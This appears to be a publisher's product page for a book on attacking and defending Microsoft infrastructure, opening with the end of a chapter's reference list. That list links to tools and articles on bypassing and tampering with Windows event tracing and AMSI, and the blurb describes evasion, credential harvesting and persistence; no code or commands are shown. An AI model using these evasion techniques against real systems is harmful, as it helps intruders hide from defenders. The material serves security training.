  44. ETW beginner’s guide: https://bmcder.com/blog/a-begginers-all-inclusive-guide-to-etw
  45. Detect malicious usage of .NET part 1: https://blog.f-secure.com/detecting-malicious-use-of-net-part-1/
  46. Detect malicious usage of .NET part 2: https://blog.f-secure.com/detecting-malicious-use-of-net-part-2/
  47. SilkETW: https://github.com/mandiant/SilkETW
  48. Seatbelt: https://github.com/GhostPack/Seatbelt
  49. ConfuserEx: https://github.com/mkaring/ConfuserEx
  50. Bypass ETW by neutering the EtwEventWrite API: https://whiteknightlabs.com/2021/12/11/bypassing-etw-for-fun-and-profit/
  51. Patch EtwEventWrite API: https://blog.xpnsec.com/hiding-your-dotnet-etw/
  52. TamperETW: https://github.com/outflanknl/TamperETW
  53. Evade ETW and AMSI: https://pre.empt.blog/2023/maelstrom-6-working-with-amsi-and-etw-for-red-and-blue
  54. Tampering with ETW: https://blog.palantir.com/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63

Further reading

These aids for further study will let you dive deeper into the attacks covered in the chapter:

Left arrow icon Right arrow icon

Key benefits

  • Find out how to attack real-life Microsoft infrastructure
  • Discover how to detect adversary activities and remediate your environment
  • Apply the knowledge you’ve gained by working on hands-on exercises
  • Purchase of the print or Kindle book includes a free PDF eBook

Description

This book teaches you the tactics and techniques used to attack a Windows-based environment, along with showing you how to detect malicious activities and remediate misconfigurations and vulnerabilities. You’ll begin by deploying your lab, where every technique can be replicated. The chapters help you master every step of the attack kill chain and put new knowledge into practice. You’ll discover how to evade defense of common built-in security mechanisms, such as AMSI, AppLocker, and Sysmon; perform reconnaissance and discovery activities in the domain environment by using common protocols and tools; and harvest domain-wide credentials. You’ll also learn how to move laterally by blending into the environment’s traffic to stay under radar, escalate privileges inside the domain and across the forest, and achieve persistence at the domain level and on the domain controller. Every chapter discusses OpSec considerations for each technique, and you’ll apply this kill chain to perform the security assessment of other Microsoft products and services, such as Exchange, SQL Server, and SCCM. By the end of this book, you'll be able to perform a full-fledged security assessment of the Microsoft environment, detect malicious activity in your network, and guide IT engineers on remediation steps to improve the security posture of the company.

What you will learn

Understand and adopt the Microsoft infrastructure kill chain methodology Attack Windows services, such as Active Directory, Exchange, WSUS, SCCM, AD CS, and SQL Server Disappear from the defender's eyesight by tampering with defensive capabilities Upskill yourself in offensive OpSec to stay under the radar Find out how to detect adversary activities in your Windows environment Get to grips with the steps needed to remediate misconfigurations Prepare yourself for real-life scenarios by getting hands-on experience with exercises

What do you get with eBook?

Product feature icon Instant access to your Digital eBook purchase
Product feature icon Download this book in EPUB and PDF formats
Product feature icon Access this title in our online reader with advanced features
Product feature icon DRM FREE - Read whenever, wherever and however you want
Buy Now

Product Details


Publication date : Nov 17, 2023
Length 360 pages
Edition : 1st Edition
Language : English
ISBN-13 : 9781804611364
Concepts :

Table of Contents

13 Chapters
Preface Chevron down icon Chevron up icon
Chapter 1: Getting the Lab Ready and Attacking Exchange Server Chevron down icon Chevron up icon
Chapter 2: Defense Evasion Chevron down icon Chevron up icon
Chapter 3: Domain Reconnaissance and Discovery Chevron down icon Chevron up icon
Chapter 4: Credential Access in Domain Chevron down icon Chevron up icon
Chapter 5: Lateral Movement in Domain and Across Forests Chevron down icon Chevron up icon
Chapter 6: Domain Privilege Escalation Chevron down icon Chevron up icon
Chapter 7: Persistence on Domain Level Chevron down icon Chevron up icon
Chapter 8: Abusing Active Directory Certificate Services Chevron down icon Chevron up icon
Chapter 9: Compromising Microsoft SQL Server Chevron down icon Chevron up icon
Chapter 10: Taking Over WSUS and SCCM Chevron down icon Chevron up icon
Index Chevron down icon Chevron up icon
Other Books You May Enjoy Chevron down icon Chevron up icon

Customer reviews

Filter icon Filter
Top Reviews
Rating distribution
Full star icon Full star icon Full star icon Full star icon Full star icon 5
(1 Ratings)
5 star 100%
4 star 0%
3 star 0%
2 star 0%
1 star 0%

Filter reviews by


N/A Feb 21, 2024
Full star icon Full star icon Full star icon Full star icon Full star icon 5
Pubblicazioni interessanti scritti con il giusto livello tecnico ma soprattutto in modo chiaro.
Feefo Verified review Feefo image
Get free access to Packt library with over 7500+ books and video courses for 7 days!
Start Free Trial

FAQs

How do I buy and download an eBook? Chevron down icon Chevron up icon

Where there is an eBook version of a title available, you can buy it from the book details for that title. Add either the standalone eBook or the eBook and print book bundle to your shopping cart. Your eBook will show in your cart as a product on its own. After completing checkout and payment in the normal way, you will receive your receipt on the screen containing a link to a personalised PDF download file. This link will remain active for 30 days. You can download backup copies of the file by logging in to your account at any time.

If you already have Adobe reader installed, then clicking on the link will download and open the PDF file directly. If you don't, then save the PDF file on your machine and download the Reader to view it.

Please Note: Packt eBooks are non-returnable and non-refundable.

Packt eBook and Licensing When you buy an eBook from Packt Publishing, completing your purchase means you accept the terms of our licence agreement. Please read the full text of the agreement. In it we have tried to balance the need for the ebook to be usable for you the reader with our needs to protect the rights of us as Publishers and of our authors. In summary, the agreement says:

  • You may make copies of your eBook for your own use onto any machine
  • You may not pass copies of the eBook on to anyone else
How can I make a purchase on your website? Chevron down icon Chevron up icon

If you want to purchase a video course, eBook or Bundle (Print+eBook) please follow below steps:

  1. Register on our website using your email address and the password.
  2. Search for the title by name or ISBN using the search option.
  3. Select the title you want to purchase.
  4. Choose the format you wish to purchase the title in; if you order the Print Book, you get a free eBook copy of the same title. 
  5. Proceed with the checkout process (payment to be made using Credit Card, Debit Cart, or PayPal)
Where can I access support around an eBook? Chevron down icon Chevron up icon
  • If you experience a problem with using or installing Adobe Reader, the contact Adobe directly.
  • To view the errata for the book, see www.packtpub.com/support and view the pages for the title you have.
  • To view your account details or to download a new copy of the book go to www.packtpub.com/account
  • To contact us directly if a problem is not resolved, use www.packtpub.com/contact-us
What eBook formats do Packt support? Chevron down icon Chevron up icon

Our eBooks are currently available in a variety of formats such as PDF and ePubs. In the future, this may well change with trends and development in technology, but please note that our PDFs are not Adobe eBook Reader format, which has greater restrictions on security.

You will need to use Adobe Reader v9 or later in order to read Packt's PDF eBooks.

What are the benefits of eBooks? Chevron down icon Chevron up icon
  • You can get the information you need immediately
  • You can easily take them with you on a laptop
  • You can download them an unlimited number of times
  • You can print them out
  • They are copy-paste enabled
  • They are searchable
  • There is no password protection
  • They are lower price than print
  • They save resources and space
What is an eBook? Chevron down icon Chevron up icon

Packt eBooks are a complete electronic version of the print edition, available in PDF and ePub formats. Every piece of content down to the page numbering is the same. Because we save the costs of printing and shipping the book to you, we are able to offer eBooks at a lower cost than print editions.

When you have purchased an eBook, simply login to your account and click on the link in Your Download Area. We recommend you saving the file to your hard drive before opening it.

For optimal viewing of our eBooks, we recommend you download and install the free Adobe Reader version 9.